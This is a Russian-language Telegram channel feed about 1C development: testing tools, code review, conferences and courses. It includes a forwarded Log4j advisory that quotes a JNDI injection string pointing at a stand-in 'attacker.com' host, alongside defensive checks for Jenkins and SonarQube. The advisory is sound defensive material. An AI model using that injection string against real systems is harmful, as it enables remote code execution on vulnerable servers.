Александр Кунташов — про 1С и не только
1.58K subscribers
144 photos
1 video
301 links
Заметки про разработку и смежные штуки. 1С, Битрикс24, 1Script, PHP, Linux, JS, Python и другое
Download Telegram
Вчера буквально в одном из чатов по 1С, в котором состою, в очередной раз сетовали, что очень нехватает тестов штатного функционала для типовых конфигураций, которые бы с ними поставлялись: и для проведения автоматических регрессионных проверок после собственных доработок и в качестве примера "как надо делать".

И вот, пожалуйста, комплект сценарных тестов для 1С:УХ:

https://infostart.ru/journal/news/mir-1s/firma-1s-vylozhila-komplekt-avtomatizirovannogo-testirovaniya-1s-ukh_1545003/

Справедливости ради, отмечу, что для УНФ в поставку давно включаются сценарии поведения, и в ERP. Сценарии поведения в составе в УНФ мне лично очень нравится, как они сделаны. Рекомендую всем, кто разбирается, опираться на них в качестве примеров по крайней мере в начале пути.
🔎 Некоторое время назад я проводил опрос про код-ревью — хотел написать статью на эту тему и собирал к ней материал.

Подготовка к конференции и другие интересные рабочие задачи перетянули максимум внимания на себя, и черновик статьи, как бывает, ушел в стол.

А на прошлой неделе ютуб мне в рекомендациях подогнал свежее видео Яндекс.Академии с крутой лекцией Сергея Хандрикова о код-ревью:

👉 https://www.youtube.com/watch?v=YcdMet5j4qM

Там более 2х часов систематизированной информации о код-ревью. И нет, это не что-то абстрактное и академическое, а реальные практические советы. Там не только, что я хотел написать, а гораздо больше, более системно и без воды (что для двухчасового видео удивительно).

Особенно понравилось, что Сергей рассказал о код-ревью с обеих сторон: и с точки зрения автора кода, и с точки зрения ревьюера и разобрал различные типичные сценарии диалогов между ними в процессе ревью.

Есть в конце про нюансы код-ревью опенсорсных проектов.

👍👍 Обязательно для просмотра всем кто так или иначе связан с разработкой и независимо от того, проводит ли код-ревью ваша команда или нет.
Принципиально отказывался от публикации рекламы в этом канале, но она теперь тут добровольно-принудительно ☹️
На только что прогремевшем Infostart Event 2021 Moscow Premiere во второй день конференции был квест, одним из заданий которого была вот такая задачка, которую мы придумали с коллегами из ИТ-лаборатории Инфостарта. Технари решали самостоятельно, а управленцам нужно было найти программиста, который бы ее решил.

Попробуете тоже решить?
Какое значение будет в переменной А после выполнения кода на скриншоте в сообщении выше?
Anonymous Poll
29%
Код не пройдет синтаксический контроль
5%
"Инфостарт"
45%
42
16%
Неопределено
5%
"@JuniorOneS"
Ох, какую знакомую боль Самат описал. Уверен, вы тоже с таким сталкивались:

Начинается новый бизнес, сильно завязанный на софте. Первое время, все классно: один программист — хорошо, два — почти в два раза лучше. 10 программистов — можно делать вещи, о которых раньше и помыслить было нельзя.

Через 3-6 лет в компании уже 50 разработчиков. Продукт при этом практически не развивается, фичи доставляются разработкой в продакшен со скорость улитки. Добавьте к этому зарплаты разработчиков в 100-400 тысяч в месяц и вы можете представить, что чувствует бизнес. Почему так?

А происходило вот что: все эти годы, каждый раз, когда нужно было выбрать между «сделать фичу побыстрее прямо сейчас» и «сделать так, чтобы это можно было потом поддерживать, пусть и подольше прямо сейчас» — бизнес с разработкой вместе выбирали первый вариант. Логично, что рано или поздно гора неподдерживабельного кода становится слишком высокой и уже никто не может докинуть ещё что-то сверху.

(Продолжение см. по ссылке)
Forwarded from SilverBulleter's, LLC (Oleg Tymko)
❗️Уязвимость в библиотеке Log4j в экосистеме Java

Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.

Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).

Как себя обезопасить?🤔

⚙️Jenkins

В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins -> Управление средами сборки -> узел master или built-in -> Консоль сценариев) и выполнить скрипт:

org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource

Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.

Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.

Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.

⚙️SonarQube

Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.

В конфигурационном файле sonar.properties нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:

sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true

Или через переменную среды в системе, контейнере и т.п:

SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true

После указания настройки нужно перезапустить сервис SonarQube.

Официальный источник информации: SonarQube and the Log4J vulnerability.
Вы наверное уже догадались, но теперь официально (с)!

Сегодня вечером в 19.00 по Москве будет проходить онлайн-игра "Что, Где, Когда" "Что, Если, Тогда".

Помимо интересных вопросов от телезрителей будут ещё и музыкальные паузы, в том числе с вот теми ребятами из Весёлого1С, которые сочиняли текст про "внешне все красиво, внутри полный одинэс".

Заглядывайте на огонёк, будут премьеры ;)

https://infostart.ru/journal/news/mir-1s/komanda-telezriteley-sobrana-proverim-znaniya-znatokov-na-onlayn-igre-chto-esli-togda_1575357/
🥒 В Vanessa Automation очередной большой релиз, обо всем подробно написала Вика в новости, повторяться не буду:

https://infostart.ru/journal/news/mir-1s/vanessa-automation-1-2-038-interaktivnaya-spravka-i-testirovanie-mobilnykh-prilozheniy_1576937/

Но отмечу пару интересных фич:

— Интерактивные уроки, реализованные средствами VA. В дополнение к ним недавно (в этом релизе пока нет) Дима Шерстобитов придумал/добавил механизм для реализации онбординга/интерактивного обучения пользователей, которое можно реализовать и внедрить прямо в информационной базе.

— Поддержка тестирования мобильного клиента и приложений на мобильной платформе (соответствующее API в платформе 1С:Предприятия было добавлено в релизах 8.3.19 и в 8.3.20 соответственно). Как я понимаю, тут тоже Дмитрий приложил руку.
И что бы "дважды не вставать", продолжу тему про VA, Шерстобитова 😎 и уроки по тестированию еще небольшим комментарием-новостью, т.к. я слышал, что есть те, кто пропустил.

До недавнего времени из структурированных учебных материалов (а не разрозненных видеоинструкций/записей митапов) по тестированию были по сути только серия публикаций Владимира Литвиненко по Vanessa ADD и обзорный блок по тестированию в составе курса "DevOps в 1С" Инфостарта.

Но буквально на днях к ним добавился курс на платформе курсы-по-1с.рф "Сценарное тестирование в 1С", который стартанул на прошлой неделе. Его записывала и проводит Наталья Трухачева, QA из IRP Team, которую вы, если интересуетесь темой тестирования в 1С, должны знать по выступлениями на онлайн-митапе Инфостарта и на Infostart Event в мае 2021 года.

Курс, если судить по тому, что я успел посмотреть, получился интересный, Наталья, Дмитрий и все, кто приложил к нему руку, молодцы! 👍

По многочисленным просьбам участников летнего потока курса "DevOps в 1С" (да и не только) мы в Инфостарте тоже делаем самостоятельный курс по тестированию (и скорее всего не один) и тем самым, надеемся, вопросы "А как вкатиться в тестирование в 1С?" закроются по большей части.
🦉 23 декабря Инфостарт проводил очередную игру "Что Если Тогда" в онлайн-формате (запись) с бессменным ведущим Константином Гейнрихом (подписывайтесь на его канал 1.C. Enterprise, если еще вдруг не подписаны).

Главный реквизит игры — рулетка и телевизор — в онлайн-формате эмулируются специальной самодельной конфигурацией. После игры поступило много предложений и замечаний к внешнему виду экранных форм этой конфигурации. Поэтому, чтобы улучшать решение можно было не только словами, Константин разместил исходники конфигурации в открытый доступ. Как говорится, ждем ваших PR:

https://github.com/KonstantinHeinrich/WhatIfThen

🥳
На самом деле это должна быть статья как пользоваться git2reposync какие gitattributes надо прописать для version файла чтоб не было конфликтов и не надо их ручками разгребать или как хорошо разрабатывать в edt и автоматом синхронизироваться с хранилищем которое тут же синхронизируется с git и такая рекурсия прекрасна , но решил пофилософствовать и описать один из процессов выпуска релизов , про который я думал в первый раз " ну ничего себе уникальные грабли ", а когда столкнулся с таким же несколько раз , то думаю надо что-то менять https://infostart.ru/1c/articles/1580931/
🛠 Сегодня только с коллегами обсуждали существующую движуху представителей сообщества 1С в ютубе и вспоминали в очередной раз крутой канал "Команда ИТК", о котором я уже рассказывал, и тут у них как раз новое видео с обзором Infostart Toolkit'а:

https://www.youtube.com/watch?v=mGLJbp0qROg

Видеообзор от реального пользователя — круче любой рекламы, желаю каждому разработчику продуктов такого 👍

Канал автора проекта "Команда ИТК" на ютубе: @simplelogic
Канал Тулкита в телеграме: @mid8_1c
В продолжении предыдущего поста хочу повторить опрос коллег из Команды ИТК 👇

Кликабельные ссылки на инструменты из опроса:

Инструменты Разработчика от TormozIt
Infostart Toolkit
Запросник
Консоль запросов 9000

#опрос
🛠 18 февраля (это будет пятница) Инфостарт проведет митап "Опыт применения DevOps-практик в командах разработки на 1С".

К митапу мы хотели бы собрать небольшую статистику по состоянию процессов разработки в командах 1Сников, буду очень признателен, если вы ответите на несколько простых вопросов.

➡️ Пройти опрос

Будет круто, если перешлете ссылку на опрос своим коллегам, хочется большего охвата.

И, конечно, приходите послушать доклады и позадавать/пообсуждать вопросы по теме на круглом столе. Митап бесплатный, нужно только зарегистрироваться вот тут:

https://infostart.ru/events/1587539/

Окончательная программам будет утверждена и опубликована буквально завтра/послезавтра, но уже сейчас точно могу сказать, что будем говорить про нюансы внедрения CI/CD при разработке на 1C, про то, как эффективно организовать процессы разработки на 1С, используя промышленные подходы, с какими сложностями при этом приходится столкнуться и как их решать. Все доклады будут исключительно про реальный разносторонний опыт.
🔥 Очередной крутой выпуск Техкружка по интересной теме - покрытие кода в 1С.

https://youtu.be/ew-ZTolmB5I

Огромное уважение ребятам за такой подход по распространению знаний у себя в команде и открытость!

Подписывайтесь на канал лидера Техкружка Артема Пластинина @simplelogic (и на канал в ютубе).
Forwarded from i.Need.Lustin (Alexey Lustin)
Я НЕ часто - даю ссылки на публикации про 1С, но тут не могу не поделиться - потому что подобный подход отражает мое персонально отношение как нужно делать

Валентин проделал крутую работу вместе с командой "товарищей" и по заветам "инженерного маркетинга" поделился результатами

Пусть и под корпоративным аккаунтом - зато с github репозиторием

Ну и "сосать действительно плохо"

https://infostart.ru/1c/articles/1606108/
Представляете тонны скриптов на groovy, реализующих бизнес логику?

(Ссылка на оригинал)